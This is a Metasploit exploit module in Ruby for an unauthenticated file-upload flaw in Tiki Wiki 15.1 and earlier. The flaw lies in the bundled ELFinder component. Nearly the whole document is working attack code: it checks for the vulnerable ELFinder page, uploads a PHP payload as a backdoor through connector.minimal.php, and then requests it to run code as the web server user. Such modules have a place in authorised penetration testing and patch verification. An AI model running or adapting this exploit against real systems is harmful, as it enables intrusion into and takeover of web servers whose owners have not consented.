Tiki Wiki 15.1 Unauthenticated File Upload

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Tiki Wiki Unauthenticated File Upload Vulnerability',  
'Description' => %q{  
This module exploits a file upload vulnerability in Tiki Wiki <= 15.1  
which could be abused to allow unauthenticated users to execute arbitrary code  
under the context of the web server user.  
  
The issue comes with one of the 3rd party components. Name of that components is  
ELFinder -version 2.0-. This components comes with default example page which  
demonstrates file operations such as upload, remove, rename, create directory etc.  
Default configuration does not force validations such as file extension, content-type etc.  
Thus, unauthenticated user can upload PHP file.  
  
The exploit has been tested on Debian 8.x 64-bit and Tiki Wiki 15.1.  
},  
'Author' =>  
[  
'Mehmet Ince <[email protected]>' # Vulnerability discovery and Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'https://www.mehmetince.net/exploit/tiki-wiki-unauthenticated-file-upload-vulnerability' ],  
[ 'URL', 'https://tiki.org/article434-Security-update-Tiki-15-2-Tiki-14-4-and-Tiki-12-9-released' ]  
],  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Payload' =>  
{  
'DisableNops' => true  
},  
'Targets' => [ ['Automatic', {}] ],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jul 11 2016'  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, "Installed path of Tiki Wiki", "/tiki/"])  
], self.class)  
end  
  
def check  
url = normalize_uri(target_uri.path, "vendor_extra/elfinder/elfinder.html")  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => url  
)  
  
if res && res.code == 200  
return Exploit::CheckCode::Appears  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
filename = rand_text_alpha(8 + rand(4)) + '.php'  
register_file_for_cleanup(filename)  
  
data = Rex::MIME::Message.new  
data.add_part('upload', nil, nil, 'form-data; name="cmd"')  
data.add_part('l1_Lw', nil, nil, 'form-data; name="target"')  
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"upload[]\"; filename=\"#{filename}\"")  
  
print_status("Uploading backdoor file: #{filename}")  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, "vendor_extra/elfinder/php/connector.minimal.php"),  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => data.to_s  
})  
  
if res && res.code == 200  
print_good("Backdoor successfully created.")  
else  
fail_with(Failure::Unknown, "#{peer} - Error on uploading file")  
end  
  
print_status("Trigging the exploit...")  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "vendor_extra/elfinder/files/" + filename)  
}, 5)  
end  
end  
`